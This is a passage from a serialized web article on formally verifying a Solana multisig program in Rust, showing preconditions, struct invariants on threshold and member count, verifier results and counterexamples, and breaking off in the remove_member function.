children":29924},{},[29925],{"type":29,"value":29926},"A third counterexample:",{"type":24,"tag":137,"props":29928,"children":29930},{"code":29929},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[29931],{"type":24,"tag":80,"props":29932,"children":29933},{"__ignoreMap":7},[29934],{"type":29,"value":29929},{"type":24,"tag":25,"props":29936,"children":29937},{},[29938,29940,29946],{"type":29,"value":29939},"Here we see the size of our ",{"type":24,"tag":80,"props":29941,"children":29943},{"className":29942},[],[29944],{"type":29,"value":29945},"members",{"type":29,"value":29947}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":24,"tag":137,"props":29949,"children":29951},{"code":29950,"language":8613,"meta":7,"className":8614,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[29952],{"type":24,"tag":80,"props":29953,"children":29954},{"__ignoreMap":7},[29955,29962,29997,30018,30070,30077],{"type":24,"tag":147,"props":29956,"children":29957},{"class":149,"line":150},[29958],{"type":24,"tag":147,"props":29959,"children":29960},{"style":235},[29961],{"type":29,"value":29712},{"type":24,"tag":147,"props":29963,"children":29964},{"class":149,"line":160},[29965,29969,29973,29977,29981,29985,29989,29993],{"type":24,"tag":147,"props":29966,"children":29967},{"style":235},[29968],{"type":29,"value":29720},{"type":24,"tag":147,"props":29970,"children":29971},{"style":218},[29972],{"type":29,"value":14467},{"type":24,"tag":147,"props":29974,"children":29975},{"style":9044},[29976],{"type":29,"value":19348},{"type":24,"tag":147,"props":29978,"children":29979},{"style":235},[29980],{"type":29,"value":564},{"type":24,"tag":147,"props":29982,"children":29983},{"style":241},[29984],{"type":29,"value":25019},{"type":24,"tag":147,"props":29986,"children":29987},{"style":235},[29988],{"type":29,"value":28986},{"type":24,"tag":147,"props":29990,"children":29991},{"style":241},[29992],{"type":29,"value":87},{"type":24,"tag":147,"props":29994,"children":29995},{"style":235},[29996],{"type":29,"value":29749},{"type":24,"tag":147,"props":29998,"children":29999},{"class":149,"line":169},[30000,30004,30009,30013],{"type":24,"tag":147,"props":30001,"children":30002},{"style":241},[30003],{"type":29,"value":21233},{"type":24,"tag":147,"props":30005,"children":30006},{"style":235},[30007],{"type":29,"value":30008}," (threshold ",{"type":24,"tag":147,"props":30010,"children":30011},{"style":241},[30012],{"type":29,"value":4279},{"type":24,"tag":147,"props":30014,"children":30015},{"style":235},[30016],{"type":29,"value":30017}," 0)\n",{"type":24,"tag":147,"props":30019,"children":30020},{"class":149,"line":178},[30021,30025,30029,30033,30037,30041,30045,30050,30054,30058,30062,30066],{"type":24,"tag":147,"props":30022,"children":30023},{"style":241},[30024],{"type":29,"value":21233},{"type":24,"tag":147,"props":30026,"children":30027},{"style":235},[30028],{"type":29,"value":28600},{"type":24,"tag":147,"props":30030,"children":30031},{"style":241},[30032],{"type":29,"value":87},{"type":24,"tag":147,"props":30034,"children":30035},{"style":235},[30036],{"type":29,"value":26623},{"type":24,"tag":147,"props":30038,"children":30039},{"style":241},[30040],{"type":29,"value":25019},{"type":24,"tag":147,"props":30042,"children":30043},{"style":235},[30044],{"type":29,"value":408},{"type":24,"tag":147,"props":30046,"children":30047},{"style":9044},[30048],{"type":29,"value":30049},"u16",{"type":24,"tag":147,"props":30051,"children":30052},{"style":241},[30053],{"type":29,"value":9106},{"type":24,"tag":147,"props":30055,"children":30056},{"style":9044},[30057],{"type":29,"value":26641},{"type":24,"tag":147,"props":30059,"children":30060},{"style":218},[30061],{"type":29,"value":14453},{"type":24,"tag":147,"props":30063,"children":30064},{"style":9044},[30065],{"type":29,"value":19348},{"type":24,"tag":147,"props":30067,"children":30068},{"style":235},[30069],{"type":29,"value":3519},{"type":24,"tag":147,"props":30071,"children":30072},{"class":149,"line":187},[30073],{"type":24,"tag":147,"props":30074,"children":30075},{"style":235},[30076],{"type":29,"value":25862},{"type":24,"tag":147,"props":30078,"children":30079},{"class":149,"line":196},[30080,30084,30088,30092,30096,30100,30104,30108],{"type":24,"tag":147,"props":30081,"children":30082},{"style":218},[30083],{"type":29,"value":19307},{"type":24,"tag":147,"props":30085,"children":30086},{"style":218},[30087],{"type":29,"value":19312},{"type":24,"tag":147,"props":30089,"children":30090},{"style":229},[30091],{"type":29,"value":12738},{"type":24,"tag":147,"props":30093,"children":30094},{"style":235},[30095],{"type":29,"value":480},{"type":24,"tag":147,"props":30097,"children":30098},{"style":241},[30099],{"type":29,"value":15212},{"type":24,"tag":147,"props":30101,"children":30102},{"style":235},[30103],{"type":29,"value":29589},{"type":24,"tag":147,"props":30105,"children":30106},{"style":241},[30107],{"type":29,"value":15212},{"type":24,"tag":147,"props":30109,"children":30110},{"style":235},[30111],{"type":29,"value":15217},{"type":24,"tag":25,"props":30113,"children":30114},{},[30115],{"type":29,"value":30116},"And now we get:",{"type":24,"tag":137,"props":30118,"children":30120},{"code":30119},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[30121],{"type":24,"tag":80,"props":30122,"children":30123},{"__ignoreMap":7},[30124],{"type":29,"value":30119},{"type":24,"tag":25,"props":30126,"children":30127},{},[30128],{"type":29,"value":30129},"🥳🥳🥳",{"type":24,"tag":25,"props":30131,"children":30132},{},[30133],{"type":29,"value":30134},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":24,"tag":137,"props":30136,"children":30138},{"code":30137,"language":8613,"meta":7,"className":8614,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[30139],{"type":24,"tag":80,"props":30140,"children":30141},{"__ignoreMap":7},[30142,30165,30196],{"type":24,"tag":147,"props":30143,"children":30144},{"class":149,"line":150},[30145,30149,30153,30157,30161],{"type":24,"tag":147,"props":30146,"children":30147},{"style":321},[30148],{"type":29,"value":21191},{"type":24,"tag":147,"props":30150,"children":30151},{"style":247},[30152],{"type":29,"value":29065},{"type":24,"tag":147,"props":30154,"children":30155},{"style":241},[30156],{"type":29,"value":14344},{"type":24,"tag":147,"props":30158,"children":30159},{"style":705},[30160],{"type":29,"value":10147},{"type":24,"tag":147,"props":30162,"children":30163},{"style":235},[30164],{"type":29,"value":6630},{"type":24,"tag":147,"props":30166,"children":30167},{"class":149,"line":160},[30168,30172,30176,30180,30184,30188,30192],{"type":24,"tag":147,"props":30169,"children":30170},{"style":321},[30171],{"type":29,"value":2597},{"type":24,"tag":147,"props":30173,"children":30174},{"style":229},[30175],{"type":29,"value":29120},{"type":24,"tag":147,"props":30177,"children":30178},{"style":235},[30179],{"type":29,"value":480},{"type":24,"tag":147,"props":30181,"children":30182},{"style":9044},[30183],{"type":29,"value":29129},{"type":24,"tag":147,"props":30185,"children":30186},{"style":241},[30187],{"type":29,"value":9106},{"type":24,"tag":147,"props":30189,"children":30190},{"style":9044},[30191],{"type":29,"value":29138},{"type":24,"tag":147,"props":30193,"children":30194},{"style":235},[30195],{"type":29,"value":1473},{"type":24,"tag":147,"props":30197,"children":30198},{"class":149,"line":169},[30199],{"type":24,"tag":147,"props":30200,"children":30201},{"style":235},[30202],{"type":29,"value":827},{"type":24,"tag":25,"props":30204,"children":30205},{},[30206,30208,30214,30216,30221,30223,30228,30230,30235],{"type":29,"value":30207},"In this case this is actually redundant because if ",{"type":24,"tag":80,"props":30209,"children":30211},{"className":30210},[],[30212],{"type":29,"value":30213},"members.len() == 0",{"type":29,"value":30215}," then our threshold would also have to be ",{"type":24,"tag":80,"props":30217,"children":30219},{"className":30218},[],[30220],{"type":29,"value":3173},{"type":29,"value":30222}," (and our ",{"type":24,"tag":80,"props":30224,"children":30226},{"className":30225},[],[30227],{"type":29,"value":28351},{"type":29,"value":30229}," is not allowed to be ",{"type":24,"tag":80,"props":30231,"children":30233},{"className":30232},[],[30234],{"type":29,"value":3173},{"type":29,"value":30236},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":24,"tag":43,"props":30238,"children":30240},{"id":30239},"_2-verify-threshold-requirements",[30241],{"type":29,"value":30242},"2. Verify threshold requirements",{"type":24,"tag":25,"props":30244,"children":30245},{},[30246],{"type":29,"value":30247},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":24,"tag":25,"props":30249,"children":30250},{},[30251,30253,30257],{"type":29,"value":30252},"Unlike the previous example, we want to verify this in ",{"type":24,"tag":8545,"props":30254,"children":30255},{},[30256],{"type":29,"value":14922},{"type":29,"value":30258}," cases. I.e. any instruction that could mutate the multisig account.",{"type":24,"tag":25,"props":30260,"children":30261},{},[30262,30264,30268,30270,30275],{"type":29,"value":30263},"In this case, we want to model this as an ",{"type":24,"tag":8545,"props":30265,"children":30266},{},[30267],{"type":29,"value":27380},{"type":29,"value":30269}," on the ",{"type":24,"tag":80,"props":30271,"children":30273},{"className":30272},[],[30274],{"type":29,"value":28343},{"type":29,"value":30276}," account struct:",{"type":24,"tag":137,"props":30278,"children":30280},{"code":30279,"language":8613,"meta":7,"className":8614,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[30281],{"type":24,"tag":80,"props":30282,"children":30283},{"__ignoreMap":7},[30284,30291,30316,30323,30347,30398,30405,30424,30451,30478,30505,30532,30559,30586,30613,30648],{"type":24,"tag":147,"props":30285,"children":30286},{"class":149,"line":150},[30287],{"type":24,"tag":147,"props":30288,"children":30289},{"style":235},[30290],{"type":29,"value":26372},{"type":24,"tag":147,"props":30292,"children":30293},{"class":149,"line":160},[30294,30298,30303,30307,30312],{"type":24,"tag":147,"props":30295,"children":30296},{"style":235},[30297],{"type":29,"value":28439},{"type":24,"tag":147,"props":30299,"children":30300},{"style":9044},[30301],{"type":29,"value":30302},"Clone",{"type":24,"tag":147,"props":30304,"children":30305},{"style":235},[30306],{"type":29,"value":546},{"type":24,"tag":147,"props":30308,"children":30309},{"style":9044},[30310],{"type":29,"value":30311},"Debug",{"type":24,"tag":147,"props":30313,"children":30314},{"style":235},[30315],{"type":29,"value":25862},{"type":24,"tag":147,"props":30317,"children":30318},{"class":149,"line":169},[30319],{"type":24,"tag":147,"props":30320,"children":30321},{"style":235},[30322],{"type":29,"value":26380},{"type":24,"tag":147,"props":30324,"children":30325},{"class":149,"line":178},[30326,30331,30335,30339,30343],{"type":24,"tag":147,"props":30327,"children":30328},{"style":235},[30329],{"type":29,"value":30330},"    (self",{"type":24,"tag":147,"props":30332,"children":30333},{"style":241},[30334],{"type":29,"value":87},{"type":24,"tag":147,"props":30336,"children":30337},{"style":235},[30338],{"type":29,"value":26673},{"type":24,"tag":147,"props":30340,"children":30341},{"style":241},[30342],{"type":29,"value":15564},{"type":24,"tag":147,"props":30344,"children":30345},{"style":235},[30346],{"type":29,"value":26682},{"type":24,"tag":147,"props":30348,"children":30349},{"class":149,"line":187},[30350,30354,30358,30362,30366,30370,30374,30378,30382,30386,30390,30394],{"type":24,"tag":147,"props":30351,"children":30352},{"style":241},[30353],{"type":29,"value":21233},{"type":24,"tag":147,"props":30355,"children":30356},{"style":235},[30357],{"type":29,"value":26606},{"type":24,"tag":147,"props":30359,"children":30360},{"style":241},[30361],{"type":29,"value":87},{"type":24,"tag":147,"props":30363,"children":30364},{"style":235},[30365],{"type":29,"value":26673},{"type":24,"tag":147,"props":30367,"children":30368},{"style":218},[30369],{"type":29,"value":14467},{"type":24,"tag":147,"props":30371,"children":30372},{"style":9044},[30373],{"type":29,"value":19348},{"type":24,"tag":147,"props":30375,"children":30376},{"style":241},[30377],{"type":29,"value":13823},{"type":24,"tag":147,"props":30379,"children":30380},{"style":235},[30381],{"type":29,"value":19413},{"type":24,"tag":147,"props":30383,"children":30384},{"style":241},[30385],{"type":29,"value":87},{"type":24,"tag":147,"props":30387,"children":30388},{"style":235},[30389],{"type":29,"value":26585},{"type":24,"tag":147,"props":30391,"children":30392},{"style":241},[30393],{"type":29,"value":87},{"type":24,"tag":147,"props":30395,"children":30396},{"style":235},[30397],{"type":29,"value":26734},{"type":24,"tag":147,"props":30399,"children":30400},{"class":149,"line":196},[30401],{"type":24,"tag":147,"props":30402,"children":30403},{"style":235},[30404],{"type":29,"value":25862},{"type":24,"tag":147,"props":30406,"children":30407},{"class":149,"line":205},[30408,30412,30416,30420],{"type":24,"tag":147,"props":30409,"children":30410},{"style":218},[30411],{"type":29,"value":19307},{"type":24,"tag":147,"props":30413,"children":30414},{"style":218},[30415],{"type":29,"value":26753},{"type":24,"tag":147,"props":30417,"children":30418},{"style":9044},[30419],{"type":29,"value":26758},{"type":24,"tag":147,"props":30421,"children":30422},{"style":235},[30423],{"type":29,"value":6630},{"type":24,"tag":147,"props":30425,"children":30426},{"class":149,"line":214},[30427,30431,30435,30439,30443,30447],{"type":24,"tag":147,"props":30428,"children":30429},{"style":218},[30430],{"type":29,"value":26445},{"type":24,"tag":147,"props":30432,"children":30433},{"style":247},[30434],{"type":29,"value":26774},{"type":24,"tag":147,"props":30436,"children":30437},{"style":241},[30438],{"type":29,"value":978},{"type":24,"tag":147,"props":30440,"children":30441},{"style":9044},[30442],{"type":29,"value":26632},{"type":24,"tag":147,"props":30444,"children":30445},{"style":235},[30446],{"type":29,"value":26787},{"type":24,"tag":147,"props":30448,"children":30449},{"style":154},[30450],{"type":29,"value":26792},{"type":24,"tag":147,"props":30452,"children":30453},{"class":149,"line":272},[30454,30458,30462,30466,30470,30474],{"type":24,"tag":147,"props":30455,"children":30456},{"style":218},[30457],{"type":29,"value":26445},{"type":24,"tag":147,"props":30459,"children":30460},{"style":247},[30461],{"type":29,"value":26804},{"type":24,"tag":147,"props":30463,"children":30464},{"style":241},[30465],{"type":29,"value":978},{"type":24,"tag":147,"props":30467,"children":30468},{"style":9044},[30469],{"type":29,"value":26632},{"type":24,"tag":147,"props":30471,"children":30472},{"style":235},[30473],{"type":29,"value":26817},{"type":24,"tag":147,"props":30475,"children":30476},{"style":154},[30477],{"type":29,"value":26822},{"type":24,"tag":147,"props":30479,"children":30480},{"class":149,"line":281},[30481,30485,30489,30493,30497,30501],{"type":24,"tag":147,"props":30482,"children":30483},{"style":218},[30484],{"type":29,"value":26445},{"type":24,"tag":147,"props":30486,"children":30487},{"style":247},[30488],{"type":29,"value":26834},{"type":24,"tag":147,"props":30490,"children":30491},{"style":241},[30492],{"type":29,"value":978},{"type":24,"tag":147,"props":30494,"children":30495},{"style":9044},[30496],{"type":29,"value":23155},{"type":24,"tag":147,"props":30498,"children":30499},{"style":235},[30500],{"type":29,"value":26847},{"type":24,"tag":147,"props":30502,"children":30503},{"style":154},[30504],{"type":29,"value":26852},{"type":24,"tag":147,"props":30506,"children":30507},{"class":149,"line":299},[30508,30512,30516,30520,30524,30528],{"type":24,"tag":147,"props":30509,"children":30510},{"style":218},[30511],{"type":29,"value":26445},{"type":24,"tag":147,"props":30513,"children":30514},{"style":247},[30515],{"type":29,"value":26864},{"type":24,"tag":147,"props":30517,"children":30518},{"style":241},[30519],{"type":29,"value":978},{"type":24,"tag":147,"props":30521,"children":30522},{"style":9044},[30523],{"type":29,"value":23155},{"type":24,"tag":147,"props":30525,"children":30526},{"style":235},[30527],{"type":29,"value":26817},{"type":24,"tag":147,"props":30529,"children":30530},{"style":154},[30531],{"type":29,"value":26881},{"type":24,"tag":147,"props":30533,"children":30534},{"class":149,"line":308},[30535,30539,30543,30547,30551,30555],{"type":24,"tag":147,"props":30536,"children":30537},{"style":218},[30538],{"type":29,"value":26445},{"type":24,"tag":147,"props":30540,"children":30541},{"style":247},[30542],{"type":29,"value":26893},{"type":24,"tag":147,"props":30544,"children":30545},{"style":241},[30546],{"type":29,"value":978},{"type":24,"tag":147,"props":30548,"children":30549},{"style":9044},[30550],{"type":29,"value":20248},{"type":24,"tag":147,"props":30552,"children":30553},{"style":235},[30554],{"type":29,"value":26906},{"type":24,"tag":147,"props":30556,"children":30557},{"style":154},[30558],{"type":29,"value":26911},{"type":24,"tag":147,"props":30560,"children":30561},{"class":149,"line":317},[30562,30566,30570,30574,30578,30582],{"type":24,"tag":147,"props":30563,"children":30564},{"style":218},[30565],{"type":29,"value":26445},{"type":24,"tag":147,"props":30567,"children":30568},{"style":247},[30569],{"type":29,"value":26923},{"type":24,"tag":147,"props":30571,"children":30572},{"style":241},[30573],{"type":29,"value":978},{"type":24,"tag":147,"props":30575,"children":30576},{"style":9044},[30577],{"type":29,"value":26459},{"type":24,"tag":147,"props":30579,"children":30580},{"style":235},[30581],{"type":29,"value":26936},{"type":24,"tag":147,"props":30583,"children":30584},{"style":154},[30585],{"type":29,"value":26941},{"type":24,"tag":147,"props":30587,"children":30588},{"class":149,"line":332},[30589,30593,30597,30601,30605,30609],{"type":24,"tag":147,"props":30590,"children":30591},{"style":218},[30592],{"type":29,"value":26445},{"type":24,"tag":147,"props":30594,"children":30595},{"style":247},[30596],{"type":29,"value":26953},{"type":24,"tag":147,"props":30598,"children":30599},{"style":241},[30600],{"type":29,"value":978},{"type":24,"tag":147,"props":30602,"children":30603},{"style":9044},[30604],{"type":29,"value":17669},{"type":24,"tag":147,"props":30606,"children":30607},{"style":235},[30608],{"type":29,"value":546},{"type":24,"tag":147,"props":30610,"children":30611},{"style":154},[30612],{"type":29,"value":26970},{"type":24,"tag":147,"props":30614,"children":30615},{"class":149,"line":350},[30616,30620,30624,30628,30632,30636,30640,30644],{"type":24,"tag":147,"props":30617,"children":30618},{"style":218},[30619],{"type":29,"value":26445},{"type":24,"tag":147,"props":30621,"children":30622},{"style":247},[30623],{"type":29,"value":26982},{"type":24,"tag":147,"props":30625,"children":30626},{"style":241},[30627],{"type":29,"value":978},{"type":24,"tag":147,"props":30629,"children":30630},{"style":9044},[30631],{"type":29,"value":26991},{"type":24,"tag":147,"props":30633,"children":30634},{"style":235},[30635],{"type":29,"value":3583},{"type":24,"tag":147,"props":30637,"children":30638},{"style":9044},[30639],{"type":29,"value":27000},{"type":24,"tag":147,"props":30641,"children":30642},{"style":235},[30643],{"type":29,"value":27005},{"type":24,"tag":147,"props":30645,"children":30646},{"style":154},[30647],{"type":29,"value":27010},{"type":24,"tag":147,"props":30649,"children":30650},{"class":149,"line":358},[30651],{"type":24,"tag":147,"props":30652,"children":30653},{"style":235},[30654],{"type":29,"value":827},{"type":24,"tag":25,"props":30656,"children":30657},{},[30658,30660,30665],{"type":29,"value":30659},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":24,"tag":80,"props":30661,"children":30663},{"className":30662},[],[30664],{"type":29,"value":28343},{"type":29,"value":30666}," object will be checked to ensure that the invariant still holds after modification.",{"type":24,"tag":25,"props":30668,"children":30669},{},[30670,30672,30677],{"type":29,"value":30671},"Let's try this on the ",{"type":24,"tag":80,"props":30673,"children":30675},{"className":30674},[],[30676],{"type":29,"value":28422},{"type":29,"value":30678}," instruction that we've already seen:",{"type":24,"tag":137,"props":30680,"children":30682},{"code":30681},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[30683],{"type":24,"tag":80,"props":30684,"children":30685},{"__ignoreMap":7},[30686],{"type":29,"value":30681},{"type":24,"tag":25,"props":30688,"children":30689},{},[30690,30692,30697],{"type":29,"value":30691},"To ensure this is working, we can test by commenting out this check from ",{"type":24,"tag":80,"props":30693,"children":30695},{"className":30694},[],[30696],{"type":29,"value":28422},{"type":29,"value":978},{"type":24,"tag":137,"props":30699,"children":30701},{"code":30700,"language":8613,"meta":7,"className":8614,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[30702],{"type":24,"tag":80,"props":30703,"children":30704},{"__ignoreMap":7},[30705,30713,30721],{"type":24,"tag":147,"props":30706,"children":30707},{"class":149,"line":150},[30708],{"type":24,"tag":147,"props":30709,"children":30710},{"style":154},[30711],{"type":29,"value":30712},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":24,"tag":147,"props":30714,"children":30715},{"class":149,"line":160},[30716],{"type":24,"tag":147,"props":30717,"children":30718},{"style":154},[30719],{"type":29,"value":30720},"//     return err!(MsError::InvalidThreshold);\n",{"type":24,"tag":147,"props":30722,"children":30723},{"class":149,"line":169},[30724],{"type":24,"tag":147,"props":30725,"children":30726},{"style":154},[30727],{"type":29,"value":30728},"// }\n",{"type":24,"tag":25,"props":30730,"children":30731},{},[30732],{"type":29,"value":30733},"And run again:",{"type":24,"tag":137,"props":30735,"children":30737},{"code":30736},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[30738],{"type":24,"tag":80,"props":30739,"children":30740},{"__ignoreMap":7},[30741],{"type":29,"value":30736},{"type":24,"tag":25,"props":30743,"children":30744},{},[30745],{"type":29,"value":30746},"We get the following counterexample:",{"type":24,"tag":137,"props":30748,"children":30750},{"code":30749,"language":8613,"meta":7,"className":8614,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[30751],{"type":24,"tag":80,"props":30752,"children":30753},{"__ignoreMap":7},[30754,30765,30785,30805,30825,30845,30865,30885,30905,30925,30946,30967,30975,30983,31013],{"type":24,"tag":147,"props":30755,"children":30756},{"class":149,"line":150},[30757,30761],{"type":24,"tag":147,"props":30758,"children":30759},{"style":9044},[30760],{"type":29,"value":22751},{"type":24,"tag":147,"props":30762,"children":30763},{"style":235},[30764],{"type":29,"value":6630},{"type":24,"tag":147,"props":30766,"children":30767},{"class":149,"line":160},[30768,30773,30777,30781],{"type":24,"tag":147,"props":30769,"children":30770},{"style":247},[30771],{"type":29,"value":30772},"    account",{"type":24,"tag":147,"props":30774,"children":30775},{"style":241},[30776],{"type":29,"value":978},{"type":24,"tag":147,"props":30778,"children":30779},{"style":9044},[30780],{"type":29,"value":26758},{"type":24,"tag":147,"props":30782,"children":30783},{"style":235},[30784],{"type":29,"value":6630},{"type":24,"tag":147,"props":30786,"children":30787},{"class":149,"line":169},[30788,30792,30796,30801],{"type":24,"tag":147,"props":30789,"children":30790},{"style":247},[30791],{"type":29,"value":29427},{"type":24,"tag":147,"props":30793,"children":30794},{"style":241},[30795],{"type":29,"value":978},{"type":24,"tag":147,"props":30797,"children":30798},{"style":705},[30799],{"type":29,"value":30800}," 32768",{"type":24,"tag":147,"props":30802,"children":30803},{"style":235},[30804],{"type":29,"value":1549},{"type":24,"tag":147,"props":30806,"children":30807},{"class":149,"line":178},[30808,30813,30817,30821],{"type":24,"tag":147,"props":30809,"children":30810},{"style":247},[30811],{"type":29,"value":30812},"        authority_index",{"type":24,"tag":147,"props":30814,"children":30815},{"style":241},[30816],{"type":29,"value":978},{"type":24,"tag":147,"props":30818,"children":30819},{"style":705},[30820],{"type":29,"value":10147},{"type":24,"tag":147,"props":30822,"children":30823},{"style":235},[30824],{"type":29,"value":1549},{"type":24,"tag":147,"props":30826,"children":30827},{"class":149,"line":187},[30828,30833,30837,30841],{"type":24,"tag":147,"props":30829,"children":30830},{"style":247},[30831],{"type":29,"value":30832},"        transaction_index",{"type":24,"tag":147,"props":30834,"children":30835},{"style":241},[30836],{"type":29,"value":978},{"type":24,"tag":147,"props":30838,"children":30839},{"style":705},[30840],{"type":29,"value":708},{"type":24,"tag":147,"props":30842,"children":30843},{"style":235},[30844],{"type":29,"value":1549},{"type":24,"tag":147,"props":30846,"children":30847},{"class":149,"line":196},[30848,30853,30857,30861],{"type":24,"tag":147,"props":30849,"children":30850},{"style":247},[30851],{"type":29,"value":30852},"        ms_change_index",{"type":24,"tag":147,"props":30854,"children":30855},{"style":241},[30856],{"type":29,"value":978},{"type":24,"tag":147,"props":30858,"children":30859},{"style":705},[30860],{"type":29,"value":708},{"type":24,"tag":147,"props":30862,"children":30863},{"style":235},[30864],{"type":29,"value":1549},{"type":24,"tag":147,"props":30866,"children":30867},{"class":149,"line":205},[30868,30873,30877,30881],{"type":24,"tag":147,"props":30869,"children":30870},{"style":247},[30871],{"type":29,"value":30872},"        bump",{"type":24,"tag":147,"props":30874,"children":30875},{"style":241},[30876],{"type":29,"value":978},{"type":24,"tag":147,"props":30878,"children":30879},{"style":705},[30880],{"type":29,"value":708},{"type":24,"tag":147,"props":30882,"children":30883},{"style":235},[30884],{"type":29,"value":1549},{"type":24,"tag":147,"props":30886,"children":30887},{"class":149,"line":214},[30888,30892,30896,30901],{"type":24,"tag":147,"props":30889,"children":30890},{"style":247},[30891],{"type":29,"value":29440},{"type":24,"tag":147,"props":30893,"children":30894},{"style":241},[30895],{"type":29,"value":978},{"type":24,"tag":147,"props":30897,"children":30898},{"style":241},[30899],{"type":29,"value":30900}," ...",{"type":24,"tag":147,"props":30902,"children":30903},{"style":235},[30904],{"type":29,"value":1549},{"type":24,"tag":147,"props":30906,"children":30907},{"class":149,"line":272},[30908,30913,30917,30921],{"type":24,"tag":147,"props":30909,"children":30910},{"style":247},[30911],{"type":29,"value":30912},"        allow_external_execute",{"type":24,"tag":147,"props":30914,"children":30915},{"style":241},[30916],{"type":29,"value":978},{"type":24,"tag":147,"props":30918,"children":30919},{"style":218},[30920],{"type":29,"value":14682},{"type":24,"tag":147,"props":30922,"children":30923},{"style":235},[30924],{"type":29,"value":1549},{"type":24,"tag":147,"props":30926,"children":30927},{"class":149,"line":281},[30928,30933,30937,30942],{"type":24,"tag":147,"props":30929,"children":30930},{"style":247},[30931],{"type":29,"value":30932},"        keys",{"type":24,"tag":147,"props":30934,"children":30935},{"style":241},[30936],{"type":29,"value":978},{"type":24,"tag":147,"props":30938,"children":30939},{"style":9044},[30940],{"type":29,"value":30941}," SparseVec",{"type":24,"tag":147,"props":30943,"children":30944},{"style":235},[30945],{"type":29,"value":6630},{"type":24,"tag":147,"props":30947,"children":30948},{"class":149,"line":299},[30949,30954,30958,30963],{"type":24,"tag":147,"props":30950,"children":30951},{"style":247},[30952],{"type":29,"value":30953},"            size",{"type":24,"tag":147,"props":30955,"children":30956},{"style":241},[30957],{"type":29,"value":978},{"type":24,"tag":147,"props":30959,"children":30960},{"style":705},[30961],{"type":29,"value":30962}," 5112",{"type":24,"tag":147,"props":30964,"children":30965},{"style":235},[30966],{"type":29,"value":1549},{"type":24,"tag":147,"props":30968,"children":30969},{"class":149,"line":308},[30970],{"type":24,"tag":147,"props":30971,"children":30972},{"style":235},[30973],{"type":29,"value":30974},"        },\n",{"type":24,"tag":147,"props":30976,"children":30977},{"class":149,"line":317},[30978],{"type":24,"tag":147,"props":30979,"children":30980},{"style":235},[30981],{"type":29,"value":30982},"    },\n",{"type":24,"tag":147,"props":30984,"children":30985},{"class":149,"line":332},[30986,30991,30995,31000,31004,31008],{"type":24,"tag":147,"props":30987,"children":30988},{"style":247},[30989],{"type":29,"value":30990},"    info",{"type":24,"tag":147,"props":30992,"children":30993},{"style":241},[30994],{"type":29,"value":978},{"type":24,"tag":147,"props":30996,"children":30997},{"style":9044},[30998],{"type":29,"value":30999}," AccountInfo",{"type":24,"tag":147,"props":31001,"children":31002},{"style":235},[31003],{"type":29,"value":15207},{"type":24,"tag":147,"props":31005,"children":31006},{"style":241},[31007],{"type":29,"value":15212},{"type":24,"tag":147,"props":31009,"children":31010},{"style":235},[31011],{"type":29,"value":31012}," },\n",{"type":24,"tag":147,"props":31014,"children":31015},{"class":149,"line":350},[31016],{"type":24,"tag":147,"props":31017,"children":31018},{"style":235},[31019],{"type":29,"value":827},{"type":24,"tag":25,"props":31021,"children":31022},{},[31023,31025,31030,31032,31037],{"type":29,"value":31024},"Here we see that the ",{"type":24,"tag":80,"props":31026,"children":31028},{"className":31027},[],[31029],{"type":29,"value":28351},{"type":29,"value":31031}," of the newly created ",{"type":24,"tag":80,"props":31033,"children":31035},{"className":31034},[],[31036],{"type":29,"value":28343},{"type":29,"value":31038}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":24,"tag":43,"props":31040,"children":31042},{"id":31041},"verify-requirements-to-remove-a-member",[31043],{"type":29,"value":28381},{"type":24,"tag":25,"props":31045,"children":31046},{},[31047,31049,31054,31055,31060,31062,31068],{"type":29,"value":31048},"Now that we've seen both ",{"type":24,"tag":80,"props":31050,"children":31052},{"className":31051},[],[31053],{"type":29,"value":25758},{"type":29,"value":855},{"type":24,"tag":80,"props":31056,"children":31058},{"className":31057},[],[31059],{"type":29,"value":27380},{"type":29,"value":31061}," let's take a look at the ",{"type":24,"tag":80,"props":31063,"children":31065},{"className":31064},[],[31066],{"type":29,"value":31067},"remove_member",{"type":29,"value":31069}," function:",{"type":24,"tag":137,"props":31071,"children":31073},{"code":31072,"language":8613,"meta":7,"className":8614,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if 